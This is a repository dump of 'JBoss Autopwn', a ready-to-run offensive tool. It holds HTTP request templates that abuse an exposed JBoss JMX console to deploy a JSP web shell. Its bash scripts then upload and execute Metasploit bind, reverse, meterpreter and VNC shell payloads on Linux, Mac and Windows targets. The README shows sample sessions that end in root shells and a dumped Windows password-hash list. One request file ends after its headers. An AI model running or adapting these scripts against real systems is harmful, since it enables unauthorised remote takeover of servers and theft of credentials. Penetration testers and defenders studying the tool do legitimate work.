├── execute ├── req1 └── req1.win ├── war ├── req2.linux ├── req2.win ├── req1.linux └── req1.win ├── e.sh ├── e2.sh ├── README.txt └── LICENSE.txt /execute/req1: -------------------------------------------------------------------------------- 1 | POST http://hostx:portx/browser/browser/browser.jsp HTTP/1.1 2 | Host: hostx:portx 3 | User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 (.NET CLR 3.5.30729) 4 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 5 | Accept-Language: en-us,en;q=0.5 6 | Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 7 | Keep-Alive: 300 8 | Proxy-Connection: keep-alive 9 | Referer: http://hostx:portx/browser/browser/browser.jsp 10 | Cookie: cookiex 11 | Content-Type: application/x-www-form-urlencoded 12 | Content-Length: 41 13 | 14 | text=&dir=/&command=id&Submit=Launch&sort=1 15 | -------------------------------------------------------------------------------- /execute/req1.win: -------------------------------------------------------------------------------- 1 | POST http://hostx:portx/browserwin/browser/Browser.jsp HTTP/1.1 2 | Host: hostx:portx 3 | User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1b4) Gecko/20090427 Fedora/3.5-0.20.beta4.fc11 Firefox/3.5b4 4 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 5 | Accept-Language: en-us,en;q=0.5 6 | Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 7 | Keep-Alive: 300 8 | Proxy-Connection: keep-alive 9 | Referer: http://hostx:portx/browserwin/browser/Browser.jsp 10 | Cookie: cookiex 11 | Content-Type: application/x-www-form-urlencoded 12 | Content-Length: 46 13 | 14 | text=&dir=C:\&command=dir&Submit=Launch&sort=1 15 | -------------------------------------------------------------------------------- /war/req2.linux: -------------------------------------------------------------------------------- 1 | POST /jmx-console/HtmlAdaptor HTTP/1.1 2 | Host: hostx:portx 3 | User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 (.NET CLR 3.5.30729) 4 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 5 | Accept-Language: en-us,en;q=0.5 6 | Accept-Encoding: gzip,deflate 7 | Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 8 | Keep-Alive: 300 9 | Proxy-Connection: keep-alive 10 | Referer: http://hostx:portx/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.system%3Aservice%3DMainDeployer 11 | Cookie: cookiex 12 | Content-Type: application/x-www-form-urlencoded 13 | Content-Length: 98 14 | 15 | action=invokeOp&name=jboss.system%3Aservice%3DMainDeployer&methodIndex=2&arg0=%2Ftmp%2Fbrowser.war 16 | -------------------------------------------------------------------------------- /war/req2.win: -------------------------------------------------------------------------------- 1 | POST http://hostx:portx/jmx-console/HtmlAdaptor HTTP/1.1 2 | Host: hostx:portx 3 | User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1b4) Gecko/20090427 Fedora/3.5-0.20.beta4.fc11 Firefox/3.5b4 4 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 5 | Accept-Language: en-us,en;q=0.5 6 | Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 7 | Keep-Alive: 300 8 | Proxy-Connection: keep-alive 9 | Referer: http://hostx:portx/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.system%3Aservice%3DMainDeployer 10 | Cookie: cookiex 11 | Content-Type: application/x-www-form-urlencoded 12 | Content-Length: 102 13 | 14 | action=invokeOp&name=jboss.system%3Aservice%3DMainDeployer&methodIndex=2&arg0=c%3A%5C%5Cbrowserwin.war 15 | -------------------------------------------------------------------------------- /e.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # JBoss Autopwn - A JBoss script for obtaining remote shell access 4 | # Created by Christian G. Papathanasiou 5 | # Copyright (C) 2009-2011 Trustwave Holdings, Inc. 6 | # 7 | # This program is free software: you can redistribute it and/or modify 8 | # it under the terms of the GNU General Public License as published by 9 | # the Free Software Foundation, either version 3 of the License, or 10 | # (at your option) any later version. 11 | # 12 | # This program is distributed in the hope that it will be useful, 13 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 14 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 15 | # GNU General Public License for more details. 16 | # 17 | # You should have received a copy of the GNU General Public License 18 | # along with this program. If not, see . 19 | 20 | 21 | if [ -z $1 ] 22 | then 23 | printf "[!] JBoss *nix autopwn\n[!] Usage: $0 server port\n" 24 | printf "[!] Christian Papathanasiou\n[!] Trustwave SpiderLabs\n" 25 | else 26 | 27 | printf "[x] Retrieving cookie\n" 28 | cookie=`printf "GET /jmx-console/ HTTP/1.1\nHost: $1\n\n" | nc $1 $2 | grep -i JSESSION | cut -d: -f2- | cut -d\; -f1` 29 | printf "[x] Now creating BSH script...\n" 30 | A=`sed "s/hostx/$1/g" war/req1.linux | sed "s/portx/$2/g" | sed "s/cookiex/$cookie/g" | nc $1 $2 | grep -i "file:/"` 31 | if [ -z $A ]; 32 | then 33 | printf "[!] Cound not create BSH script..\n" 34 | else 35 | printf "[x] .war file created successfully in /tmp\n" 36 | fi 37 | printf "[x] Now deploying .war file:\n" 38 | I=`sed "s/hostx/$1/g" war/req2.linux | sed "s/portx/$2/g" | sed "s/cookiex/$cookie/g" | nc $1 $2 | grep -i "succes"` 39 | if [ -z $I ]; 40 | then 41 | printf "[x] Something went wrong...\n" 42 | else 43 | printf "http://$1:$2/browser/browser/browser.jsp\n" 44 | browsercookie=`printf "GET /browser/browser/browser.jsp HTTP/1.1\nHost: $1\n\n" | nc $1 $2 | grep -i jsession | cut -d: -f2 | cut -d\; -f1` 45 | printf "[x] Running as user...:\n" 46 | B=`sed "s/hostx/$1/g" execute/req1 | sed "s/portx/$2/g" | sed "s/cookiex/$browsercookie/g" | nc $1 $2 | grep -i uid` 47 | printf "$B\n" 48 | printf "[x] Server uname...:\n" 49 | C=`sed "s/hostx/$1/g" execute/req1 | sed "s/portx/$2/g" | sed "s/cookiex/$browsercookie/g" | sed "s/41/49/g" | sed "s/id/uname%20-a/" | nc $1 $2 | grep -v "<" | grep -v ">" | grep -v "{" | grep -v "}" | grep -vi "http" | grep -vi "powered" | grep -vi "content" | grep -vi "date" | grep -vi "server"` 50 | echo $C 51 | printf "[!] Would you like to upload a reverse or a bind shell? " 52 | read shell 53 | 54 | 55 | if [ $shell == "bind" ] 56 | then 57 | printf "[!] On which port would you like the bindshell to listen on? " 58 | read port 59 | framework3/msfpayload cmd/unix/bind_perl LPORT=$port R >payload 60 | printf "[x] Uploading bind shell payload..\n" 61 | curl -F "dir=/tmp" -F "sort=1" -F "name=MyFile" -F "filename=@payload" -F "Submit=Upload" http://$1:$2/browser/browser/browser.jsp 1>/dev/null 2>/dev/null 62 | printf "[x] Verifying if upload was successful...\n" 63 | D=`sed "s/hostx/$1/g" execute/req1 | sed "s/portx/$2/g" | sed "s/cookiex/$browsercookie/g" | sed "s/41/63/g" | sed "s/id/ls%20-la%20\/tmp\/payload/g" | nc $1 $2 | grep -i payload` 64 | if [ -z $D ] 65 | then 66 | printf "[!] Upload was not successful. You still have a shell though at: /browser/browser/browser.jsp..\n" 67 | else 68 | echo $D 69 | E=`sed "s/hostx/$1/g" execute/req1 | sed "s/portx/$2/g" | sed "s/cookiex/$browsercookie/g" | sed "s/41/78/g" | sed "s/id/chmod%20777%20\/tmp\/payload;\/tmp\/payload/g" | nc $1 $2` 70 | printf "[x] You should have a bind shell on $1:$port..\n" 71 | rm -rf payload 72 | printf "[x] Dropping you into a shell...\n" 73 | nc -v $1 $port 74 | fi 75 | fi 76 | 77 | 78 | if [ $shell = "reverse" ] 79 | then 80 | myip=`ifconfig -a | grep -i "inet" | cut -d: -f2 | awk '{print $1}' | head -n1` 81 | printf "[!] On which port would you like to accept the reverse shell on? " 82 | read port 83 | framework3/msfpayload cmd/unix/reverse_perl LHOST=$myip LPORT=$port R >payload 84 | printf "[x] Uploading reverse shell payload..\n" 85 | curl -F "dir=/tmp" -F "sort=1" -F "name=MyFile" -F "filename=@payload" -F "Submit=Upload" http://$1:$2/browser/browser/browser.jsp 1>/dev/null 2>/dev/null 86 | printf "[x] Verifying if upload was successful...\n" 87 | D=`sed "s/hostx/$1/g" execute/req1 | sed "s/portx/$2/g" | sed "s/cookiex/$browsercookie/g" | sed "s/41/62/g" | sed "s/id/ls%20-la%20\/tmp\/payload/g" | nc $1 $2 | grep -i payload` 88 | 89 | if [ -z $D ] 90 | then 91 | printf "[x] Upload was not successful. You still have a shell though at: /browser/browser/browser.jsp..\n" 92 | else 93 | echo $D 94 | E=`sed "s/hostx/$1/g" execute/req1 | sed "s/portx/$2/g" | sed "s/cookiex/$browsercookie/g" | sed "s/41/78/g" | sed "s/id/chmod%20777%20\/tmp\/payload;\/tmp\/payload/g" | nc $1 $2` 95 | printf "[x] You should have a reverse shell on localhost:$port..\n" 96 | rm -rf payload 97 | fi 98 | fi 99 | 100 | 101 | fi 102 | 103 | fi 104 | -------------------------------------------------------------------------------- /e2.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # JBoss Autopwn - A JBoss script for obtaining remote shell access 4 | # Created by Christian G. Papathanasiou 5 | # Copyright (C) 2009-2011 Trustwave Holdings, Inc. 6 | # 7 | # This program is free software: you can redistribute it and/or modify 8 | # it under the terms of the GNU General Public License as published by 9 | # the Free Software Foundation, either version 3 of the License, or 10 | # (at your option) any later version. 11 | # 12 | # This program is distributed in the hope that it will be useful, 13 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 14 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 15 | # GNU General Public License for more details. 16 | # 17 | # You should have received a copy of the GNU General Public License 18 | # along with this program. If not, see . 19 | 20 | if [ -z $1 ] 21 | then 22 | printf "[!] JBoss Windows autopwn\n[!] Usage: $0 server port\n" 23 | printf "[!] Christian Papathanasiou cpapathanasiou@trustwave.com\n[!] Trustwave SpiderLabs\n" 24 | else 25 | 26 | printf "[x] Retrieving cookie\n" 27 | cookie=`printf "GET /jmx-console/ HTTP/1.1\nHost: $1\n\n" | nc $1 $2 | grep -i JSESSION | cut -d: -f2- | cut -d\; -f1` 28 | printf "[x] Now creating BSH script...\n" 29 | A=`sed "s/hostx/$1/g" war/req1.win | sed "s/portx/$2/g" | sed "s/cookiex/$cookie/g" | nc -v $1 $2 | grep -i file` 30 | if [ -z $A ]; 31 | then 32 | printf "[!] Cound not create BSH script..\n" 33 | else 34 | printf "[x] .war file created successfully on c: \n" 35 | fi 36 | printf "[x] Now deploying .war file:\n" 37 | I=`sed "s/hostx/$1/g" war/req2.win | sed "s/portx/$2/g" | sed "s/cookiex/$cookie/g" | nc $1 $2` 38 | if [ -z $I ]; 39 | then 40 | printf "[x] Something went wrong...\n" 41 | else 42 | 43 | printf "[x] Web shell enabled!: http://$1:$2/browserwin/browser/Browser.jsp\n" 44 | browsercookie=`printf "GET /browserwin/browser/Browser.jsp HTTP/1.1\nHost: $1\n\n" | nc $1 $2 | grep -i jsession | cut -d: -f2 | cut -d\; -f1` 45 | 46 | 47 | printf "[x] Server name...:\n" 48 | sed "s/hostx/$1/g" execute/req1.win | sed "s/portx/$2/g" | sed "s/cookiex/$browsercookie/g" | sed -e "s/dir/ipconfig%20\/all/g" | sed -e "s/46/58/g" | nc $1 $2 | grep -i "host" 49 | 50 | printf "[x] Would you like a reverse or bind shell or vnc(bind)? " 51 | read shell 52 | rm -rf payload.exe tmp 53 | 54 | if [ $shell == "bind" ] 55 | then 56 | printf "[x] On which port would you like your bindshell to listen? " 57 | read port 58 | framework3/msfpayload windows/shell_bind_tcp LPORT=$port X >payload.exe 59 | printf "[x] Uploading bindshell payload..\n" 60 | curl -F "dir=c:\\" -F "sort=1" -F "name=MyFile" -F "filename=@payload.exe" -F "Submit=Upload" http://$1:$2/browserwin/browser/Browser.jsp 1>/dev/null 2>/dev/null 61 | rm -rf payload.exe 62 | printf "[x] Checking that bind shell was uploaded correctly..\n" 63 | sleep 3 64 | sed "s/hostx/$1/g" execute/req1.win | sed "s/portx/$2/g" | sed "s/cookiex/$browsercookie/g" | sed -e "s/dir/dir%20c:\\\\payload.exe/g" | sed -e "s/46/63/g" | nc $1 $2 2>&1 1>tmp 65 | J=`cat tmp | grep -i payload` 66 | rm -rf tmp 67 | if [ -z $J ] 68 | then 69 | printf "[!] Bindshell failed\n" 70 | else 71 | printf "[x] Bind shell uploaded: $J\n" 72 | printf "[x] Now executing bind shell...\n" 73 | sed "s/hostx/$1/g" execute/req1.win | sed "s/portx/$2/g" | sed "s/cookiex/$browsercookie/g" | sed -e "s/dir/c:\\\\payload.exe/g" | sed -e "s/46/60/g" | nc $1 $2 1>/dev/null 2>/dev/null 74 | printf "[x] Executed bindshell!\n" 75 | printf "[x] Reverting to metasploit....\n" 76 | framework3/msfcli exploit/multi/handler PAYLOAD=windows/shell_bind_tcp LPORT=$port RHOST=$1 E 77 | fi 78 | fi 79 | 80 | if [ $shell == "reverse" ] 81 | then 82 | myip=`ifconfig -a | grep -i "inet" | cut -d: -f2 | awk '{print $1}' | head -n1` 83 | printf "[x] On which port would you like to accept your reverse shell? " 84 | read port 85 | framework3/msfpayload windows/meterpreter/reverse_tcp LHOST=$myip LPORT=$port X >payload.exe 86 | printf "[x] Uploading reverseshell payload..\n" 87 | curl -F "dir=c:\\" -F "sort=1" -F "name=MyFile" -F "filename=@payload.exe" -F "Submit=Upload" http://$1:$2/browserwin/browser/Browser.jsp 1>/dev/null 2>/dev/null 88 | rm -rf payload.exe 89 | printf "[x] Checking that the reverse shell was uploaded correctly..\n" 90 | sleep 3 91 | sed "s/hostx/$1/g" execute/req1.win | sed "s/portx/$2/g" | sed "s/cookiex/$browsercookie/g" | sed -e "s/dir/dir%20c:\\\\payload.exe/g" | sed -e "s/46/63/g" | nc $1 $2 2>&1 1>tmp 92 | J=`cat tmp | grep -i payload` 93 | rm -rf tmp 94 | if [ -z $J ] 95 | then 96 | printf "[!] Reverse shell failed\n" 97 | else 98 | printf "[x] Reverse shell uploaded: $J\n" 99 | printf "[x] You now have 20 seconds to launch metasploit before I send a reverse shell back.. ctrl-z, bg then type:\n" 100 | printf "framework3/msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LHOST=$myip LPORT=$port E\n" 101 | sleep 20 102 | printf "[x] Now executing reverse shell...\n" 103 | sed "s/hostx/$1/g" execute/req1.win | sed "s/portx/$2/g" | sed "s/cookiex/$browsercookie/g" | sed -e "s/dir/c:\\\\payload.exe/g" | sed -e "s/46/60/g" | nc $1 $2 1>/dev/null 2>/dev/null 104 | printf "[x] Executed reverse shell!\n" 105 | fi 106 | fi 107 | 108 | 109 | 110 | if [ $shell == "vnc" ] 111 | then 112 | printf "[x] On which port would you like your vnc shell to listen? " 113 | read port 114 | framework3/msfpayload windows/vncinject/bind_tcp LPORT=$port X >payload.exe 115 | printf "[x] Uploading vnc shell payload..\n" 116 | curl -F "dir=c:\\" -F "sort=1" -F "name=MyFile" -F "filename=@payload.exe" -F "Submit=Upload" http://$1:$2/browserwin/browser/Browser.jsp 1>/dev/null 2>/dev/null 117 | rm -rf payload.exe 118 | printf "[x] Checking that vnc shell was uploaded correctly..\n" 119 | sleep 3 120 | sed "s/hostx/$1/g" execute/req1.win | sed "s/portx/$2/g" | sed "s/cookiex/$browsercookie/g" | sed -e "s/dir/dir%20c:\\\\payload.exe/g" | sed -e "s/46/63/g" | nc $1 $2 2>&1 1>tmp 121 | J=`cat tmp | grep -i payload` 122 | rm -rf tmp 123 | if [ -z $J ] 124 | then 125 | printf "[!] vnc shell failed\n" 126 | else 127 | printf "[x] vnc shell uploaded: $J\n" 128 | printf "[x] Now executing vnc shell...\n" 129 | sed "s/hostx/$1/g" execute/req1.win | sed "s/portx/$2/g" | sed "s/cookiex/$browsercookie/g" | sed -e "s/dir/c:\\\\payload.exe/g" | sed -e "s/46/60/g" | nc $1 $2 1>/dev/null 2>/dev/null 130 | printf "[x] Executed vnc shell!\n" 131 | printf "[x] Reverting to metasploit....\n" 132 | framework3/msfcli exploit/multi/handler PAYLOAD=windows/vncinject/bind_tcp LPORT=$port RHOST=$1 DisableCourtesyShell=TRUE E 133 | fi 134 | fi 135 | 136 | 137 | 138 | fi 139 | fi 140 | -------------------------------------------------------------------------------- /README.txt: -------------------------------------------------------------------------------- 1 | :warning: *NOTE: This tool is no longer under active maintenance.* 2 | 3 | JBoss Autopwn Script 4 | Christian G. Papathanasiou 5 | http://www.spiderlabs.com 6 | 7 | 8 | INTRODUCTION 9 | ============ 10 | 11 | This JBoss script deploys a JSP shell on the target JBoss AS server. Once 12 | deployed, the script uses its upload and command execution capability to 13 | provide an interactive session. 14 | 15 | Features include: 16 | 17 | - Multiplatform support - tested on Windows, Linux and Mac targets 18 | - Support for bind and reverse bind shells 19 | - Meterpreter shells and VNC support for Windows targets 20 | 21 | INSTALLATION 22 | ============ 23 | 24 | Dependencies include 25 | 26 | - Netcat 27 | - Curl 28 | - Metasploit v3, installed in the current path as "framework3" 29 | 30 | USAGE 31 | ===== 32 | 33 | Use e.sh for *nix targets that use bind_tcp and reverse_tcp 34 | 35 | ./e.sh target_ip tcp_port 36 | 37 | Use e2.sh for Windows targets that can execute Metasploit Windows payloads 38 | 39 | /e2.sh target_ip tcp_port 40 | 41 | 42 | EXAMPLES 43 | ======== 44 | 45 | Linux bind shell: 46 | 47 | [root@nitrogen jboss]# ./e.sh 192.168.1.2 8080 2>/dev/null 48 | [x] Retrieving cookie 49 | [x] Now creating BSH script... 50 | [x] .war file created successfully in /tmp 51 | [x] Now deploying .war file: 52 | http://192.168.1.2:8080/browser/browser/browser.jsp 53 | [x] Running as user...: 54 | uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) 55 | [x] Server uname...: 56 | Linux nitrogen 2.6.29.6-213.fc11.x86_64 #1 SMP Tue Jul 7 21:02:57 EDT 2009 x86_64 x86_64 x86_64 GNU/Linux 57 | [!] Would you like to upload a reverse or a bind shell? bind 58 | [!] On which port would you like the bindshell to listen on? 31337 59 | [x] Uploading bind shell payload.. 60 | [x] Verifying if upload was successful... 61 | -rwxrwxrwx 1 root root 172 2009-11-22 19:48 /tmp/payload 62 | [x] You should have a bind shell on 192.168.1.2:31337.. 63 | [x] Dropping you into a shell... 64 | Connection to 192.168.1.2 31337 port [tcp/*] succeeded! 65 | id 66 | uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) 67 | python -c 'import pty; pty.spawn("/bin/bash")' 68 | [root@nitrogen /]# full interactive shell :-) 69 | 70 | Linux reverse shell: 71 | 72 | [root@nitrogen jboss]# nc -lv 31337 & 73 | [1] 15536 74 | [root@nitrogen jboss]# ./e.sh 192.168.1.2 8080 2>/dev/null 75 | [x] Retrieving cookie 76 | [x] Now creating BSH script... 77 | [x] .war file created successfully in /tmp 78 | [x] Now deploying .war file: 79 | http://192.168.1.2:8080/browser/browser/browser.jsp 80 | [x] Running as user...: 81 | uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) 82 | [x] Server uname...: 83 | Linux nitrogen 2.6.29.6-213.fc11.x86_64 #1 SMP Tue Jul 7 21:02:57 EDT 2009 x86_64 x86_64 x86_64 GNU/Linux 84 | [!] Would you like to upload a reverse or a bind shell? reverse 85 | [!] On which port would you like to accept the reverse shell on? 31337 86 | [x] Uploading reverse shell payload.. 87 | [x] Verifying if upload was successful... 88 | -rwxrwxrwx 1 root root 157 2009-11-22 19:49 /tmp/payload 89 | Connection from 192.168.1.2 port 31337 [tcp/*] accepted 90 | [x] You should have a reverse shell on localhost:31337.. 91 | [root@nitrogen jboss]# jobs 92 | [1]+ Running nc -lv 31337 & 93 | [root@nitrogen jboss]# fg 1 94 | nc -lv 31337 95 | id 96 | uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) 97 | python -c 'import pty; pty.spawn("/bin/bash")'; 98 | [root@nitrogen /]# full interactive tty :-) 99 | full interactive tty :-) 100 | 101 | Against MacOS X (bind shell): 102 | 103 | [root@nitrogen jboss]# ./e.sh 192.168.1.5 8080 2>/dev/null 104 | [x] Retrieving cookie 105 | [x] Now creating BSH script... 106 | [x] .war file created successfully in /tmp 107 | [x] Now deploying .war file: 108 | http://192.168.1.5:8080/browser/browser/browser.jsp 109 | [x] Running as user...: 110 | uid=0(root) gid=0(wheel) groups=0(wheel),1(daemon),2(kmem),8(procview),29(certusers),3(sys),9(procmod),4(tty),5(operator),101(com.apple.sharepoint.group.1),80(admin),20(staff),102(com.apple.sharepoint.group.2) 111 | [x] Server uname...: 112 | Darwin helium-2.tiscali.co.uk 9.7.1 Darwin Kernel Version 9.7.1: Thu Apr 23 13:52:18 PDT 2009; root:xnu-1228.14.1~1/RELEASE_I386 i386 113 | [!] Would you like to upload a reverse or a bind shell? bind 114 | [!] On which port would you like the bindshell to listen on? 31337 115 | [x] Uploading bind shell payload.. 116 | [x] Verifying if upload was successful... 117 | -rwxrwxrwx 1 root wheel 172 22 Nov 19:58 /tmp/payload 118 | [x] You should have a bind shell on 192.168.1.5:31337.. 119 | [x] Dropping you into a shell... 120 | Connection to 192.168.1.5 31337 port [tcp/*] succeeded! 121 | id 122 | uid=0(root) gid=0(wheel) groups=0(wheel),1(daemon),2(kmem),8(procview),29(certusers),3(sys),9(procmod),4(tty),5(operator),101(com.apple.sharepoint.group.1),80(admin),20(staff),102(com.apple.sharepoint.group.2) 123 | python -c 'import pty; pty.spawn("/bin/bash")' 124 | bash-3.2# id 125 | id 126 | uid=0(root) gid=0(wheel) groups=0(wheel),1(daemon),2(kmem),8(procview),29(certusers),3(sys),9(procmod),4(tty),5(operator),101(com.apple.sharepoint.group.1),80(admin),20(staff),102(com.apple.sharepoint.group.2) 127 | bash-3.2# 128 | 129 | Likewise for the reverse shell. 130 | 131 | Windows bind shell: 132 | 133 | [root@nitrogen jboss]# ./e2.sh 192.168.1.225 8080 2>/dev/null 134 | [x] Retrieving cookie 135 | [x] Now creating BSH script... 136 | [x] .war file created succesfully on c: 137 | [x] Now deploying .war file: 138 | [x] Web shell enabled!: http://192.168.1.225:8080/browserwin/browser/Browser.jsp 139 | [x] Server name...: 140 | Host Name . . . . . . . . . . . . : aquarius 141 | [x] Would you like a reverse or bind shell or vnc(bind)? bind 142 | [x] On which port would you like your bindshell to listen? 31337 143 | [x] Uploading bindshell payload.. 144 | [x] Checking that bind shell was uploaded correctly.. 145 | [x] Bind shell uploaded: 22/11/2009 18:35 87,552 payload.exe 146 | [x] Now executing bind shell... 147 | [x] Executed bindshell! 148 | [x] Reverting to metasploit.... 149 | [*] Started bind handler 150 | [*] Starting the payload handler... 151 | [*] Command shell session 1 opened (192.168.1.2:60535 -> 192.168.1.225:31337) 152 | 153 | Microsoft Windows XP [Version 5.1.2600] 154 | (C) Copyright 1985-2001 Microsoft Corp. 155 | 156 | C:\Documents and Settings\chris\Desktop\jboss-4.2.3.GA\server\default\tmp\deploy\tmp8376972724011216327browserwin-exp.war> 157 | 158 | 159 | Windows reverse shell with a Metasploit meterpreter payload: 160 | 161 | [root@nitrogen jboss]# ./e2.sh 192.168.1.225 8080 2>/dev/null 162 | [x] Retrieving cookie 163 | [x] Now creating BSH script... 164 | [x] .war file created successfully on c: 165 | [x] Now deploying .war file: 166 | [x] Web shell enabled!: http://192.168.1.225:8080/browserwin/browser/Browser.jsp 167 | [x] Server name...: 168 | Host Name . . . . . . . . . . . . : aquarius 169 | [x] Would you like a reverse or bind shell or vnc(bind)? reverse 170 | [x] On which port would you like to accept your reverse shell? 31337 171 | [x] Uploading reverseshell payload.. 172 | [x] Checking that the reverse shell was uploaded correctly.. 173 | [x] Reverse shell uploaded: 22/11/2009 18:46 87,552 payload.exe 174 | [x] You now have 20 seconds to launch metasploit before I send a reverse shell back.. ctrl-z, bg then type: 175 | framework3/msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=31337 E 176 | [x] Now executing reverse shell... 177 | [x] Executed reverse shell! 178 | [root@nitrogen jboss]# 179 | 180 | 181 | In terminal 2: 182 | 183 | [root@nitrogen jboss]# framework3/msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=31337 E 184 | 185 | [*] Please wait while we load the module tree... 186 | [*] Started reverse handler on port 31337 187 | [*] Starting the payload handler... 188 | [*] Sending stage (719360 bytes) 189 | [*] Meterpreter session 1 opened (192.168.1.2:31337 -> 192.168.1.225:1266) 190 | 191 | meterpreter > use priv 192 | Loading extension priv...success. 193 | meterpreter > hashdump 194 | Administrator:500:xxxxxxxxxxxxxxxxxxxxxxx:xxxxxxxxxxxxxxxxxxxxxxxxxx::: 195 | chris:1005:xxxxxxxxxxxxxxxxxxxxxx:xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx::: 196 | Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: 197 | HelpAssistant:1004:5cb061f95caf6a9dc7d1bb971b333632:4ac4ee4210529e17665db586df844736::: 198 | SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:293c804ee7b7f93b3919344842b9c98a::: 199 | __vmware_user__:1007:aad3b435b51404eeaad3b435b51404ee:a9fa3213d080de5533c7572775a149f5::: 200 | meterpreter > 201 | 202 | 203 | Windows VNC shell: 204 | 205 | [root@nitrogen jboss]# ./e2.sh 192.168.1.225 8080 2>/dev/null 206 | [x] Retrieving cookie 207 | [x] Now creating BSH script... 208 | [x] .war file created successfully on c: 209 | [x] Now deploying .war file: 210 | [x] Web shell enabled!: http://192.168.1.225:8080/browserwin/browser/Browser.jsp 211 | [x] Server name...: 212 | Host Name . . . . . . . . . . . . : aquarius 213 | [x] Would you like a reverse or bind shell or vnc(bind)? vnc 214 | [x] On which port would you like your vnc shell to listen? 21 215 | [x] Uploading vnc shell payload.. 216 | [x] Checking that vnc shell was uploaded correctly.. 217 | [x] vnc shell uploaded: 22/11/2009 19:14 87,552 payload.exe 218 | [x] Now executing vnc shell... 219 | [x] Executed vnc shell! 220 | [x] Reverting to metasploit.... 221 | [*] Started bind handler 222 | [*] Starting the payload handler... 223 | [*] Sending stage (197120 bytes) 224 | [*] Starting local TCP relay on 127.0.0.1:5900... 225 | [*] Local TCP relay started. 226 | [*] Launched vnciewer in the background. 227 | [*] VNC Server session 1 opened (192.168.1.2:52682 -> 192.168.1.225:21) 228 | 229 | [*] VNC connection closed. 230 | 231 | [root@nitrogen jboss]# 232 | 233 | >>VNC window opens here.. :-) 234 | 235 | 236 | COPYRIGHT 237 | ========= 238 | 239 | JBoss Autopwn - A JBoss script for obtaining remote shell access 240 | Created by Christian G. Papathanasiou 241 | Copyright (C) 2009-2011 Trustwave Holdings, Inc. 242 | 243 | This program is free software; you can redistribute it and/or 244 | modify it under the terms of the GNU General Public License 245 | as published by the Free Software Foundation; either version 2 246 | of the License, or (at your option) any later version. 247 | 248 | This program is distributed in the hope that it will be useful, 249 | but WITHOUT ANY WARRANTY; without even the implied warranty of 250 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 251 | GNU General Public License for more details. 252 | 253 | You should have received a copy of the GNU General Public License 254 | along with this program; if not, write to the Free Software 255 | Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. 256 | -------------------------------------------------------------------------------- /war/req1.linux: -------------------------------------------------------------------------------- 1 | POST /jmx-console/HtmlAdaptor HTTP/1.1 2 | Host: hostx:portx 3 | User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 (.NET CLR 3.5.30729) 4 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 5 | Accept-Language: en-us,en;q=0.5 6 | Accept-Encoding: gzip,deflate 7 | Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 8 | Keep-Alive: 300 9 | Proxy-Connection: keep-alive 10 | Referer: http://hostx:portx/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.deployer%3Aservice%3DBSHDeployer 11 | Cookie: cookiex 12 | Content-Type: application/x-www-form-urlencoded 13 | Content-Length: 26307 14 | 15 | 